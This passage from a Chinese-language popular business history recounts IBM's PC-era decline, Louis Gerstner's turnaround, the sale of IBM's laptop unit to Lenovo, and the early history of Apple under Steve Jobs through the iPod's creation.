可以阻止这些公司使用自己的技术进入市场，或者直接收购其中的佼佼者。但是，有了反垄断的限制后，它对此也只能睁一只眼，闭一只眼。一方面，自己不愿意下功夫做 PC，另一方面无法阻止别人做 PC，IBM 只好看着康柏（Compaq），戴尔（Dell）等公司作大了。\n第三个原因也不能忽视，如果说在过去的三十年里，IBM 是独孤求败，笑傲江湖，现在它真正的对手比尔· 盖茨出生了。我总是对人讲，盖茨是我们这个时代的拿破仑。在我们生活的这个和平年代，不可能出现汗尼拔和凯撒那样的攻城掠池的军事统帅，但是会在商业这个没有硝烟的战场上出现纵横捭阖的巨人，而比尔·盖茨就是科技界的第一人。\n当时 IBM 为了以最快速度推出 PC，连操作系统都懒得自己开发，而是向其他公司招标。 IBM 先找到了 DR 公司（Digital Research），因为价钱没谈好，只好作罢。盖茨看到了机会，他空手套白狼，用七万五千美元买来的磁盘操作系统（DOS），转手卖给了 IBM。盖茨的聪明之处在于，他没有让 IBM 买断 DOS，而是从每台 IBM PC 中收一笔不太起眼的版权费。而且， IBM 和微软签的协议有个很小的漏洞，没有说清楚微软是否可以将 DOS 再卖给别人。盖茨后来抓住了这个空子，将 DOS 到处卖，IBM 很不高兴，告了微软好几次。因为在大家看来这是以大欺小，IBM 得不到别人的同情，从来没有赢过。（在美国，以大欺小的官司常常很难赢，而且即使赢了，也不可能得到太多的赔偿，因为小公司没有什么油水可榨）。 IBM 原来认为 PC 机赚钱的部分是几千块钱的硬件，而不是几十块钱的软件，后来发现满不是这么回事。由于兼容机的出现，IBM 沦为了众多 PC 制造商之一，利润受到竞争的限制。而所有微机的操作系统只有一种，虽然每份操作系统现在还挣不了多少钱，将来的前途不可限量。显然，微软已经占据了有利的位置。因此，IBM 决定和微软共同开发微机的新的操作系统 OS/2，共同来开发微机的软件市场。如果是别人，也许就乐于当 IBM 的一个合作伙伴了。但是，盖茨可不是一般的人，他的心志非常高远，他不会允许别人动微机软件这块大蛋糕，虽然此时的微软的规模远没法和 IBM 相比。盖茨明修栈道，暗渡陈仓，一方面和 IBM 合作开发 OS/2 ，挣了一点短期的钱，另一方面下大力气开发视窗操作系统（Windows）。当视窗 3.1 研制出来的时候，微软帝国也就形成了。十几年后，硅谷一位最成功的 CEO 讲，凡是和微软合作的公司，最后都没有好结果。IBM 也许是其中第一个吃亏者。\n应该讲，虽然 IBM 最先研制出今天通用的个人电脑，但是在从八十年代开始的信息革命中，IBM 不情愿地成为了落伍者。同时，一个新的霸主微软横空出世。到八十年代末，由于微机性能每十八个月就翻一番，微机慢慢开始胜任以前一些必须要大型机才能做的工作。这样，微机开始危及到大型机的市场。 IBM 出现了严重的亏损，有史以来第一次开始大规模裁员。这段时期，是 IBM 历史上最艰难的时期。当时有人猜测 IBM 是否会倒闭。\n2.4 他也是做（芯）片的\n如果在 IBM 做一个民意调查，谁是对 IBM 贡献最大的人，那么除了华生父子外，一定是路易斯·郭士纳（Louis Gerstner）。1993 年，从未在 IBM 工作过的郭士纳受命危难，出任 IBM 的首席执行官。他成功地完成了 IBM 从一个计算机硬件制造公司到一个以服务和软件为核心的服务性公司的转变，复兴了这个百年老店，并开创了 IBM 的十年持续发展。郭士纳原来是一家食品公司的总裁，再以前任职于美国信用卡公司运通公司，根本不懂计算机。在英语中，计算机的芯片和土豆片是一个词——chip，因此，大家就开他的玩笑说，他也是做（芯）片的，但是是土豆芯片（He also made chips, but potato chips）这句话原先是嘲笑他的话，以后成为他传奇的象征。没有高科技公司工作经验的郭士纳在世界上最大的高科技公司创造了一个神话。\n郭士纳上台后第一件事就是对 IBM 进行大规模改组。IBM 由于长期处于计算机产业的垄断地位，从上到下都习惯于高福利得舒适环境。机构庞大、官僚主义、人浮于事和内耗严重等等，总之繁荣的背后危机四伏。因此，一旦进入群雄逐鹿的信息革命时代，IBM 这个被郭士纳比喻成大象的公司就开始跟不上对手的步伐了。\nIBM 里面的人常常讲这么一个故事，在 IBM 公司，如果要把一个纸箱子从二楼搬到三楼，需要多长时间。这件本来几分钟就能办成的事，在 IBM 需要几个月。原因是，要搬动一个箱子，你要先打报告，然后经过层层审批；审批后，审批报告再层层向下落实，最后交给替 IBM 搬家的搬运公司。在搬运公司的任务单上，上个月的任务可能还没有完成呢，现在提交的任务单一个月以后能完成就不错了。这样，搬动一个纸箱花几个月时间一点也不奇怪。\n郭士纳像个高明的医生，开始一直千疮百孔的 IBM。他的第一招用他自己的话讲是将 IBM 溶解掉，通俗地讲，就是开源节流。他首先裁掉了一些冗余的部门和一些毫无前途的项目。包括我们前面提到的操作系统 OS/2 的项目。这样，人员相应减少了，费用自然降低了。但是，短时间内增加收入不是一件容易的事。郭士纳的做法是卖掉一些资产。如果去过 IBM Almaden 实验室的人都会发现，那座非常豪华的大楼非常不对称，似乎只盖了一半。事实上的确如此，IBM 当时盖了一半没钱了，就留下了这座烂尾楼（见附图）。而且，郭士纳还想把盖好的这一半卖掉，只是这座楼盖得实在太贵，在九十年代初美国经济不景气时，没有公司买得起，它才得以留在 IBM。郭士纳事后讲，这些裁撤部门和卖资产的决定，不仅是他在 IBM，也是他一生中最艰难的决定。\n图2-5 IBM Almaden实验室所在大楼接下来，他对公司的一些机构和制度进行改革。首先，他不声不响地将分出去的一些服务公司买回来（那时 IBM 快破产了，美国政府不反对它将服务公司买回来），然后将 IBM 的硬件制造、软件开发和服务合成一体。对比几乎同时代 ATT 将公司拆分的做法，郭士纳完全是反其道而行之。他的目的是打造一只 IT 服务业的航空母舰。在公司内部，它引入竞争机制，一个项目可能有多个组背靠背地开发。为了防止互相拆台、加强合作，郭士纳将每个人的退休金和全公司的、而不是以前的各部门的效益挂钩。\n在研究方面，郭士纳将研发经费从营业额的 9% 降到 6%。以前的 IBM 实验室很像贝尔实验室，有不少理论研究，郭士纳砍掉了一些偏重于理论而没有效益的研究，并且将研究和开发结合起来。一旦一个研究项目可以实用了，他就将整个研究组从实验室挪到产品部门。到后期，他甚至要求 IBM 的所有的研究员必须从产品项目中挣一定的工资。这种做法无疑很快地将研究转化成产品。但是这样做无疑会影响 IBM 长线研究和基础研究，为了弥补这方面的损失，IBM 加强了和大学的合作，在几十所大学开展了科研合作或者是设立了奖学金。\n在郭士纳的领导下，IBM 很快走出了困境。IBM 将自己确立为一个服务型的技术公司，并将自己的用户群定位在企业级，而放弃了自己不在行的终端消费者市场。以往，在争夺低端企业用户的竞争中，IBM 并没有优势，因为它的产品太贵。在郭士纳任期的最后几年里，IBM 开始大力推广廉价的开源的 Linux 服务器。IBM 的产品头一次比竞争对手便宜了。经过十年的努力，郭士纳完成了对 IBM 的改造，确立了 IBM 在针对各种规模企业的计算机产品和服务上的优势地位。今天，IBM 成为了世界上最大的开源操作系统 Linux 服务器的生产商。上个世纪九十年代，IBM 和 ATT 走了两条截然相反的路。ATT 是将一个好好的公司拆散卖掉，IBM 则是将分出去的公司整合回来，打造了一个从硬件到软件到服务一条龙的航空母舰。今天看来，无疑是 IBM 的路走对了。从下面 IBM 股票的走势图中可以看出，从 1993 年下半年起，IBM 的业绩突飞猛进地发展。在郭士纳担任 CEO 十年间，IBM 的股票长了十倍。（见插图）今天，郭士纳虽然已经不再担任 IBM 的 CEO 了，但是，IBM 依然沿着他确立的方向发展。从 IBM 和 ATT 的不同结果可以看出一个有远见的经营者和一群贪婪的短期投机者在管理水平上的差别。\n 图2-6 IBM股票的走势图\n2.5 保守的创新者\nIBM 在经营上相当的保守，它一直固守自己的核心领域，很谨慎地开拓新的领域。从机械的制表机到大型计算机，到今天的 Linux 开源服务器，IBM 始终牢牢地控制者美国政府部门、军队、大公司和银行的业务，即使它生产的笔记本电脑，也是针对公司用户而不是个人用户的。在同档次的笔记本电脑中，它的价格比其他厂家的要贵很多，因此个人很少自己掏腰包购买 IBM 笔记本。IBM 在自己一些非核心领域也常常处于领先地位，但是它也不轻易在那些领域快速膨胀。比如，它在很长时间里在存储技术、数字通信技术、半导体芯片设计和制造技术上都领先于世界，但是我们很少看到 IBM 花大力气开拓这些市场。保守的好处是不容易轻易出错，因为像 IBM 这样服务于美国乃至世界各国核心部门的公司，产品上出一点错就会造成不可弥补的损失，要知道美国主要银行对计算机系统的要求是一年宕机时间不能超过五分钟。IBM 这种保守的做法让大客户们很放心，因此，即使它的产品和服务比别人贵，政府和公司还是很愿意，或者说不得不用 IBM 的。\n从技术上讲，IBM 是一个极富创新的公司。几十年来，如果说在工业界哪个实验室有资格和贝尔实验室相提并论，恐怕只有 IBM 实验室了。1945 年，IBM 在纽约开设了第一个实验室，这就是后来的华生（T.J. Watson）实验室，几年后，它在硅谷开设了第二个实验室。今天，它在全球有十一个实验室。五十年代，IBM 发明了计算机的硬盘和 FORTRAN 编程语言。六十年代，IBM 发明了现在通用的计算机内存（DRAM），提出了现在广泛使用的关系型数据库（Relational Database）。七十年代以来 IBM 的重大发明和发现包括今天通信中使用最广泛的 BCJR 算法，简指指令（RISC）的工作站，硬币大小的微型硬盘（用于照相机等设备），以及后来获得诺贝尔奖的可以看见原子的显微镜。至今，IBM 在计算机技术的很多领域都是非常领先的。比如，它为 Sony 游戏机设计的八核处理器，是今天英特尔双核处理器性能的十倍。不过，IBM 的主要发明都和计算机有关，这一点上，它区别于研究范围广泛的 ATT 的贝尔实验室。\nIBM 一直是美国专利大户，每年都有几千个。尤其是贝尔实验室分家以后，IBM 成了专利申请的老大。IBM 十分鼓励员工申请专利，每申请一个专利，员工不仅能得到一笔不错的奖金，还可以计点，记够一定的点数，对员工的涨工资乃至提级都有好处。我曾经问 IBM Almaden 实验室 DB2 的实验室主任，IBM 如何衡量一个研究员的工作，他告诉我有三条衡量标准：发表论文、申请专利和产品化。因此可以看出专利申请在 IBM 的重要性。\n在美国，申请专利的目的一般有两种，第一种是保证自己不被别人告侵权，即防御性的。一个公司发明一种东西后，为了防止其它公司和个人将来声称什么不合理的要求，通过申请专利来保护自己。第二种是进攻性的，一个公司申请一些可能以后有用的但是自己未必使用的专利，专门来告别人侵权。IBM 的专利很多是后一种。IBM 每年花上亿美元，养了一支庞大的知识产权方面的律师队伍，专门去告那些可能侵犯它们专利的公司，每年 IBM 从专利费上挣来的钱是十亿美元左右。这显然是一个非常赚钱的买卖。IBM T.J.Watson 实验室的一位主任很骄傲地告诉我，不要看 IBM 在微机市场上远远落后于 Dell 和惠普等公司，它们每年要向我们交很多的专利费！\nIBM 实验室迄今为止有两次大的变动。一次是在 1993 年郭士纳上台后大量削减研究经费，很多人离开了 IBM 去华尔街。其中很多人，主要是一些数学很强的科学家，去了后来最成功的对冲基金（Hedge Fund）文艺复兴技术公司（Renaissance Technologies），并撑起了半个公司。可见科学和金融也是相通的。文艺复兴公司迄今为止二十年平均投资回报率为每年 37%，在世界上是独一无二的，而且远远超过股神巴菲特的旗舰公司伯克希尔-哈撒韦（Berkshire Hathaway）。这二十年来，两个公司的总回报率分别是 200 倍和 20 倍，而标普 500 指数是 6 倍。IBM 实验室第二次大变动是在最近几年。现在，IBM 的很多研究员只能从研究项目中拿到一大半而不是全部的工资，另一小半必须通过参加产品项目而获得，因此一些单纯搞研究的科学家不得不离开。对 IBM 的这种政策，仁者见仁、智者见智。IBM 的目的是非常清楚的，科研必须和产品相结合。\n2.6 内部的优胜略汰\n如果看一看 IBM 这五年来的业绩，你会发现 IBM 的年收入五年来只涨了 13%（从 810 亿到 910 亿），而利润却涨了 4 倍（从二十三亿到九十五亿）。原因是，IBM 不断地淘汰不挣钱或者挣钱少的部门，扩充利润高的部门。2002 年，IBM 将效益不好的硬盘部门以三十亿美元的价格卖给了日本的日立公司。2004 年底，IBM 将它的笔记本电脑部门以十七亿五千万的价格卖给了中国的联想公司。其中，十二亿五千万是现金交易（由联想付给 IBM），另外五个亿是联想以 19% 的股权交换。也就是说，在当时，IBM 认为联想公司值二十六亿美元。再以前，IBM 也类似地出售过一些部门。\n我们且不去管 IBM 和日立的交易，来看看 IBM 和联想的交易，因为这是中国公司第一次收购美国著名公司的部门。当时，不少人觉得联想能收购 IBM 的笔记本部门说明中国国力增强了，扬眉吐气了；一些人担心联想是否能消化的了 IBM 这个部门，因为这个部门在亏损。显然，这笔生意能做成是因为 IBM 卖有卖的道理，而联想买有买的道理。\n我没有联想这些年来经营情况的数据，但是有 IBM 历年的财报。让我们先来看一看 IBM 的情况。下表是我从 IBM 提交给美国证券会的年度汇报表中摘要出来的。其中很多小项目，比如一次性收入和支出等等，我都省略了。\n 图2-7 IBM经营情况表\n从表中我们可以看出，出卖了笔记本部门后，IBM 的总收入有小幅下降，但是利润有明显的提高，因为成本大幅下降。管理、市场开拓、研发等费用基本持平。税后的利润增加了 1/4 以上。在卖掉笔记本部门后，IBM 用所得到的现金几次购回自己的股票，因此公司总股票数量减少，每股利润的的提升要明显快于税后利润的增长。显然，IBM 在卖掉亏损的笔记本部门后，甩掉了一个包袱，同时它得以集中精力在它的服务业上，使利润大幅提高，同时也回报了投资者。\n那么，联想购买 IBM 笔记本部门是否亏了呢？虽然我没有看过联想这几年的营收情况，但是我认为联想当年的决定是非常正确的。有两条原因当时所有的人都已经看到。第一，IBM 笔记本 Thinkpad 是笔记本电脑的第一品牌，联想买下这个品牌就可以直接在世界各地销售自己品牌的电脑，而不是为美日公司组装机器。有时，即使花很多时间和金钱，也不一定能创出一个世界级的品牌。联想这次一步到位。第二，当时联想笔记本电脑在世界市场上销量不过 2%，这个市场份额无足轻重，根本无法和 Dell、惠普等公司竞争。当时 IBM 有 5% 的市场份额，两家加起来大约有 7%，这个份额在世界上可以进前五名，和美日公司就有一拼了。当然，几乎所有人都有一个疑问，联想是否能将 IBM 亏损的笔记本部门扭亏为盈。\n对笔记本行业进行一些分析和研究，可以看出这种可能性是很大的。我想，联想之所以愿意收购，必然是三思而行后看到了这一点。事实上，IBM 笔记本部门的毛利润大约是四分之一，远远大于 Dell 的 19% 和也高于惠普的 23%。但是，IBM 笔记本在亏损，而惠普还有 7% 左右的税后利润，主要原因是 IBM 非生产性成本，即管理、市场和研发的费用太高，占了总收入的 27%。IBM 在财务上，是将全公司的这些费用平摊到各个部门，IBM 除笔记本以外的其他部门，毛利润均在 40% 以上，扣除非生产性成本，还十分盈利。但是，笔记本部门就变成亏损的了。IBM 是很难扭转笔记本部门的亏损局面，因为整个公司盈利太好，从上倒下没有精打细算的习惯。但是，联想应该很容易扭亏为盈，因为中国的人工便宜，很容易将管理和研发的费用降下来。再不济，联想的非生产性成本也不会比惠普高吧。总的来讲，IBM 和联想的这次交易应该是双赢的。\nIBM 就是这样，时不时地调整内部结构，将一些非核心的、长期效益不好的部门卖掉，同时扩大核心的利润高的生意。\n结束语\nIBM 在百年来历次技术革命中得以生存和发展，自有其生存之道。它在技术上不断在开拓和发展，以领导和跟随技术潮流；在经营上，死死守住自己核心的政府、军队企事业部门的市场，对进入新的市场非常谨慎。迄今为止，它成功地完成了两次重大的转型，从机械制造到计算机制造，再从计算机制造到服务。它错过了以微机和互联网为核心的技术浪潮，这很大程度上是由于它的基因所决定的。今天，它仍然是世界上人数最多、营业额和利润最高的技术公司。在可以预见的未来，它会随着科技发展的浪潮顺顺当当地发展，直到下一次大的技术革命。\n第3章 “水果”公司的复兴：乔布斯和苹果公司\n看过汤姆·汉克斯主演的电影 “阿甘正传”的读者，也许还记得那么一个镜头。傻人有傻福的阿甘最后捧着一张印有苹果公司标志的纸说，我买了一个水果公司的股票，有人说我这一辈不用再为钱发愁了。那是九十年代初的电影，导演挑中了苹果公司，因为它的股票确实在几年间涨了十倍。\n几年前，我在硅谷的库帕蒂诺市（Cupertino）找房子，有一次来到了一个办公楼和公寓混杂的社区，那里到处是各种颜色的、被咬了一口的苹果标志。那里就是今天大名鼎鼎的 iPod 和 iPhone 的制造者苹果公司的总部了。那时苹果公司还不太景气，想把办公楼租给刚刚开始腾飞的 Google（谷歌）。幸好这笔生意没有谈成，否则，那片狭小的社区无论如何是容不下当今两个发展最快的公司。\n生于六七十年代的人，可能对世界上最早的个人电脑苹果机还有印象。而生于八九十年代的人，可能对很酷的 iPod 影响更深。苹果最初是便宜的低端品牌，现在成了高端的时尚品牌，这看似矛盾的两方面，通过苹果的创始人史蒂夫·乔布斯很好地结合了起来。\n3.1 传奇小子\n在硅谷，可能没有人比史蒂夫·乔布斯更具有传奇色彩了。乔布斯可能是美国工程院唯一一个没有在大学读完一年书的院士。比尔·盖茨虽然没有大学毕业，毕竟正儿八经地上了两年。乔布斯只读了半年大学，又旁听了一段时间，然后就彻底离开了学校。他入选院士的原因是“开创和发展个人电脑工业”（For contributions to creation and development of the personal computer industry)。\n乔布斯的生母是一名年轻的未婚在校研究生，因为自己无法在读书的同时带孩子，她决定将乔布斯送给别人收养。她非常希望找一个有大学学历的人家。先开始，她找了一对律师夫妇，但是那对夫妇想要个女孩。就这样，乔布斯就被送到了他的养父母家。但是，乔布斯的生母后来发现不仅他的养母不是大学毕业生，养父甚至连中学都没有毕业，于是她拒绝在最后的收养文件上签字。后来，乔布斯的养父母许诺日后一定送他上大学，他的生母也就答应了。\n乔布斯高中毕业后进了一所学费很贵的私立大学。他贫困的养父母倾其所有的积蓄为他付了大学学费。读了半年，乔布斯一方面觉得学非所用，另一方面不忍心花掉养父母一辈子的积蓄，就退了学。但是，他并没有离开学校，开始旁听他感兴趣的、将来可能对他有用的课。乔布斯没有收入，靠在同学宿舍地板上蹭块地方睡觉，同时靠捡玻璃瓶、可乐罐挣点小钱。每星期天，为了吃一顿施舍的饭，他要走十公里到一个教堂去。当时，乔布斯只做自己想做的事。他所在的大学书法很有名，他也迷上了书法。虽然当时他还不知道书法以后有什么用，但是后来事实证明，乔布斯的艺术修养使得苹果公司所有的产品设计得非常漂亮。比如，以前的计算机字体很单调，乔布斯在设计苹果的 Macintosh 计算机时，一下子想到了当年漂亮的书法，为这种个人电脑设计了很漂亮的界面和字体。\n1976 年，乔布斯二十岁时，和斯蒂芬·沃兹尼克（Steve Wozniak）以及韦恩（Wayne）三人在车库里办起了苹果公司，研制个人微机。后来韦恩退出，只剩下乔布斯和沃兹两人。当时一台计算机少说要上万美元，即使价钱降几倍也不可能进入老百姓家。在每一次技术革命中，新技术必须比老的有数量级的进步才能站住脚。乔布斯很清楚这一点，他必须让计算机价钱降几十倍、甚至上百倍才会有人要。为了降低成本，Apple-I 除了有一个带键盘的主机之外，什么外设都没有。但是，它有一个可以接家用电视的视频口，和一个接盒式录音机的接口，保证数据和程序可以存在一般的录音带上。而电视机和录音机在美国几乎家家都有。同年，两人研制出了世界上第一台通用的个人电脑 Apple-I。老百姓花上几百美元就可以买到。十年后，中国的电子工业部主持清华大学等几家单位攻关，研制出了被称为中华学习机的 Apple 的兼容机，当时售价也只有 400 人民币，而当时一台 IBM PC 要两万人民币，所以中华学习机不到两年就卖掉了十万台，超过其它微机同期在中国销售的总和。很遗憾，中国的这家公司，也是我工作的公司，非常不会经营，作风上很像个政府机关而不是商业公司，从来就没有发展起来。当然这是题外话了。\n最早的苹果机实际上做不了什么事，只能让学计算机的孩子练习一下简单的编程和玩一点简单的诸如警察抓小偷的游戏。苹果机的操作也很不方便，一般老百姓是不会喜欢用它的。因此，它象征性的意义远比它实际意义要大得多，那就是计算机可以进入家庭。以前，DEC 的总裁认为，计算机进入家庭是最不切实际的假想。现在，乔布斯和他的同事做到了这一点。DEC 为他们的傲慢与偏见付出了代价。个人电脑的出现，强有力地冲击了 DEC 的小型机市场，1988 年，长期亏损的 DEC 终于支撑不下去了，被个人电脑公司康柏（Compaq）收购。乔布斯很清楚，像早期苹果机这样的玩具是无法让广大消费者长期喜欢的。事实上，当 IBM 推出了一款真正能用的 PC 后，一下就抢掉了苹果四分之三的市场。因此，乔布斯开始致力于研制一种真正能用的个人计算机。1984 年，第二代苹果机麦金托什（Macintosh）诞生了。\n麦金托什是世界上第一种可以买得到的、拥有交互式图形界面并且使用鼠标的个人电脑。它的硬件部分性能略优于同期的 IBM PC 机，而它的操作系统领先当时 IBM-PC 的操作系统 DOS 整整一代。后者是命令行式的操作系统，用户必须记住所有的操作命令才能用计算机。今天，当我们已经习惯了使用交互式图形界面的 Windows 时，如果要我们退回到 DOS，我们会觉得很别扭。麦金托什和 IBM-PC 当年的差别就有 Windows 和 DOS 那么大。除了界面上的差别，麦金托什操作系统在内存管理上有 DO S不可比拟的优势，因为后者实际可用的内存始终局限在 640K，而前者没有任何限制。麦金托什一出来就卖得很好，因此无论从技术上讲还是从商业上讲，都是一个巨大的成功。\n谈到麦金托什，必须提两点，第一，它的交互式图形窗口界面最早是从施乐（Xerox）公司帕洛阿图（Palo Alto，斯坦福大学所在地）实验室（Parc）研制出来的。帕罗阿图实验室可能是世界上最有创新同时也是最不会将发明创造变成商品的地方。它另一个改变了世界但是没有为施乐带来任何好处的发明是今天每个人都用的以太网。虽然苹果公司在图形界面用于操作系统上做出了卓越的贡献，但由于它毕竟最先由施乐发明，因此苹果在后来对微软的官司上并没有赚到便宜。第二，苹果走了一条封闭的道路，它不允许别人造兼容机，以便独吞 PC 市场。如果苹果开放了麦金托什的硬件技术，允许其他硬件厂商进入市场，我们今天可能使用的就不是 IBM PC 系列，而是苹果系列了。但是，因为苹果可能在硬件上竞争不过兼容机厂商，因此它只能扮演一个像微软一样的以操作系统为核心的软件公司角色。这时，两种系列的个人电脑胜负的关键就要看苹果和微软在操作系统上的决斗了。在没有兼容机帮忙的情况下，苹果无法挑战微软，虽然它努力试过，但最终败了下来。\n到 1985 年为止，苹果发展顺利，拥有四千员工，股票市值高达 20 亿美元。乔布斯个人也很顺利，名利双收。但接下来，乔布斯遇到了别人一辈子可能都不会遇到的两件事—被别人赶出了自己创办的公司，然后又去鬼门关走了一遭。而苹果公司，也开始进入了长达十五年的低谷。\n3.2 迷失方向\n1983 年，乔布斯说服了百事可乐公司的总裁斯库利（John Sculley）到苹果出任 CEO。斯库利以前在百事可乐工作了十几年，并成功地推广了百事可乐的品牌。以前，人们普遍认为可口可乐就是比其它的可乐好喝。斯库利发现大家有先入之见，他采用了双盲对比评测——发给大量测试者两瓶没有标签的可乐。结果更多的人认为百事好喝，斯库利打赢了市场之战。乔布斯请他来为苹果开拓市场，并负责苹果日常工作，自己则退出第一线专注于麦金托什的技术。如果说斯库利是统筹全局的宰相，乔布斯则是运筹帷幄的元帅。\n斯库利一到苹果就试图让苹果成为 PC 机市场的主流。为了迎合市场的需要，斯库利在苹果搞出了无数种机型，同时提高了销售价格，将利润用来发展苹果新的成长点—Newton PDA（苹果的牛顿 PDA），最早的掌上机。乔布斯和斯库利头一年合作得很好；第二年，将相就开始失和了。乔布斯和斯库利之争持续了一年多，董事会最后站在了斯库利的一边。1985 年，斯库利胜利了，同时乔布斯被踢出他自己创办的苹果公司。那一年，乔布斯刚三十岁。一般的创业者三十岁时还未必能创建自己的公司，乔布斯这一年已经被自己的公司开除了。乔布斯一气之下，卖掉了他所有的苹果的股票。当时工作站很红火，乔布斯创立了一个做工作站的公司 NeXT，不是很成功。NeXT 工作站的图形功能很强，使得乔布斯想在动画制作上发展。于是他用五百万美元买下了电影“星球大战”导演卢卡斯创办的一个极不成功的动画制作室，并把它重构成一个用图形工作站做动画的工作室 Pixar 公司，这是今天世界上最好的动画工作室，后来被迪斯尼公司以七十四亿美元的高价收购，很多很好的动画片都是 Pixar 制作的。事实上，乔布斯从 Pixar 挣到的钱比他从苹果挣的还多。\n斯库利在赶走乔布斯以后，让麦金托什顺着个人电脑的技术潮流向前飘了七八年。斯库利很清楚，以苹果领先的技术，即使不做任何事，也可以挣十年钱。他始终致力于开发新产品，努力为公司找新的成长点。但始终不得要领。到后来，不太大的苹果公司居然有上千个项目，大大小小的各级经理，为了提高自己的地位，到处招兵买马，上新项目。这些项目中，90% 都是没用的。事实证明，所有的项目中最后只有苹果新的操作系统是成功的。就连斯库利寄予厚望的牛顿 PDA 也没有形成什么气候。苹果的股票九十年代开始是上升的，这就是电影中的阿甘觉得持有了苹果的股票就不用为钱发愁的原因。如果那个电影晚拍几年，导演就不得不找另一家公司的股票给阿甘了。在斯库利当政的后期，麦金托什的市场占有率渐渐被微软挤得越来越小，而摊子却越铺越大，苹果公司开始亏损，斯库利不得不下台。斯库利的两个继任者也是回天无力。苹果被微软打得一塌糊涂，差点被卖给 IBM 和太阳公司（Sun Microsystems），但这两公司谁也看不上苹果这个市场不断萎缩的 PC 制造商。如果卖成了，今天大家就没有 iPod 了。\n九十年代，苹果和微软还未就 Windows 侵权苹果的操作系统一事，打那好几年的官司。在微软推出 Windows 3.1 以后，IBM PC 机的用户也可以享受图形界面了，苹果的市场迅速萎缩。苹果公司将微软告上了法庭，因为 Windows 的很多创意实实在在是复制苹果的操作系统。在法庭上，微软的盖茨指出苹果的窗口式图形界面也是抄施乐的。盖茨说，凭什么你能破窗而入去施乐拿东西，我不可以从门里走到你那里拿东西呢？最后，法庭还是以 Windows 和苹果的操作系统虽然长得像，但不是一个东西为由，驳回了苹果的要求。那时硅谷的公司不但在商业竞争中被微软压着一头，连打官司也打不赢微软，十几年来硅谷一直梦想着有一个可以和微软抗衡并且占到上风的公司。\n1998 年，苹果走投无路的董事会不得不把他们十三年前赶走的乔布斯请回来，执掌用乔布斯的话说“底下有个大洞的船”。在美国，董事会赶走一个公司创始人的情况虽然不常见，但还是发生过的。但是，再把那个被赶走的创始人请回来执掌公司，不仅以前没听说过，以后也很难再有。\n3.3 再创辉煌\n苹果董事会起先对乔布斯的能力也没谱，便给了他一个临时 CEO 的职务。乔布斯也不在乎这个，他甚至答应一年只拿一块钱的工资。毕竟苹果公司是他的亲儿子，只要让他回苹果就什么都好说。我和硅谷很多创业者聊过，发现他们对自己的公司，哪怕再小的公司，在感情上也象对自己的孩子一样亲。乔布斯上台后推出了一些样子很酷的 PC 机，那时苹果机已经比 IBM 兼容机贵了很多，成了高端的产品，用户主要是很多搞艺术的人—他们很喜欢苹果优于其它个人电脑的图形功能——和一些赶时髦的学生和专业人士。乔布斯自己也更像一个才华横溢的艺术家，而不是一个严谨的工程师。既然苹果在微机领域已经不可能替代兼容机和微软的地位了，他干脆往高端发展，讲究性能、品味和时尚。慢慢地，苹果的产品成了时尚的东西。\n乔布斯的运气很好，一上台就赶上了网络泡沫时代，那时什么公司的业绩都上涨，苹果也跟着上涨。由于苹果已经将自己定位在很窄的高端市场，就避免了与微软、戴尔和惠普的竞争。加上微软当时正被反垄断官司搞得焦头烂额，也无暇顾及苹果这个小弟弟了。苹果在乔布斯接手的两年里恢复得不错，董事会也在一年后将乔布斯扶正，任命他为正式的 CEO。\n好景不长，随着网络泡沫的破碎，苹果公司的发展面临再次受到阻碍的可能。当然只要它老老实实地固守自己的高端市场，随着经济的复苏，苹果还会慢慢好起来，成为高端PC的制造商。如果只是这样的话，苹果就不值得我们在此大写特写了；而乔布斯也就不是乔布斯了。乔布斯的超人之处在于他善于学习，并且能把得准时代的脉搏。经过十几年磨练的乔布斯已经不是当年那个毛头小伙子了。他已经认识到了苹果封闭式的软硬件，从成本上讲，无法和微软加兼容机竞争，也无法为用户提供丰富的应用软件。乔布斯做了两件事，他在苹果的微机中逐渐采用了英特尔的通用处理器，同时采用 Free BSD 作新的苹果操作系统的内核。这样相对开放的体系使得全社会大量有兴趣的开源工程师很容易地为苹果开发软件。但是，至关重要的是如何为苹果找到 PC 以外的成长点，实际上，他已经接受了当年斯库利的观点。\n斯库利明白新成长点的重要，但是他没有找到，苹果历任 CEO 都想做这件事而没有做到的。斯库利搞的个人助理想法不错，但是时机不成熟，因为那时无论是手机、电话还是互联网都没有发展起来，很少有人愿意花几百美元买一个无法联网的高级记事本。因此，这个产品的市场即使存在，也不过是一个很窄的市场，这样的产品不可能掀起一个潮流。斯库利的运气不太好，因为在他执掌苹果的年代，移动通信和互联网还没有发展起来以前，除了微机的发展形成了一种潮流，没有别的潮流。虽然苹果本来有可能成为微机领域的领导者，但它封闭式的做法，使得它战胜微软的可能性几乎是零。乔布斯比较幸运，他再次接掌苹果时，已经进入了到了网络泡沫时代。雅虎似乎代表了一种潮流，很多公司在跟随着雅虎，但事实证明，他们都面对着网络泡沫而且因此会面临严重的危机。乔布斯在网络泡沫时代，能高屋建瓴，不去趟互联网这滩浑水，而是看到了网络大潮下面真正的金沙。\n上个世纪最后的十年，以互联网和多媒体技术为核心的一场技术革命开始了。互联网是信息传播的渠道，多媒体技术则提供了数字化的信息源。原来的录音带和录像带很快被激光唱盘和 DVD 代替，随着声音和图像压缩技术的出现，这些数字化了的音乐和录像很容易在互联网上传播。到九十年代末，互联网上充斥了各种盗版的音乐和电影。以前，音乐唱盘属于一个垄断的暴利行业，这个行业的一位朋友告诉我，音乐 CD 平均一张十美元左右，而除去版税后的制作成本总共只有十几美分到几十美分，视批量而定。现在网上有了不要钱的，音乐下载很快占整个互联网流量的四分之一，广大网民一下子学会了听下载的音乐、看下载的录像。同时，市场上出现了一些小的音乐播放器，但做的都不是很理想。虽然唱片公司集体告赢了帮助提供盗版音乐的 Napster 公司，盗版的音乐和录像很快从互联网中消失了。但是，用户用一个小播放器听音乐和歌曲的习惯已经养成了。\n乔布斯看到了两点最重要的事实，第一，虽然已经有了不少播放器，但是做的都不好，尤其是当音乐数量多了以后，查找和管理都很难。要知道，从一千首歌里面顺序找到自己想听的可能要花几分钟时间。另外，要把自己以前买的几十张 CD 上的歌倒到播放器上更是麻烦；第二，广大用户已经习惯戴着耳机从播放器中听歌而不是随身带着便携的 CD 唱机和几十张光盘。因此，它不需要花钱和时间培养出一个市场。基于这两点的考虑，乔布斯决定开发被称为 iPod 的音乐和录像播放器。\n苹果公司很好地解决了上面提到的两个技术问题。他们在播放器上设计了一个用手转圈划的音乐查找手段，使用户可以非常快地找到自己要听的歌。同时他们设计了一种叫 iTune 的软件装在个人电脑上，可以自动地把电脑上和光盘中的歌曲音乐传到 iPod 中。另外，iPod 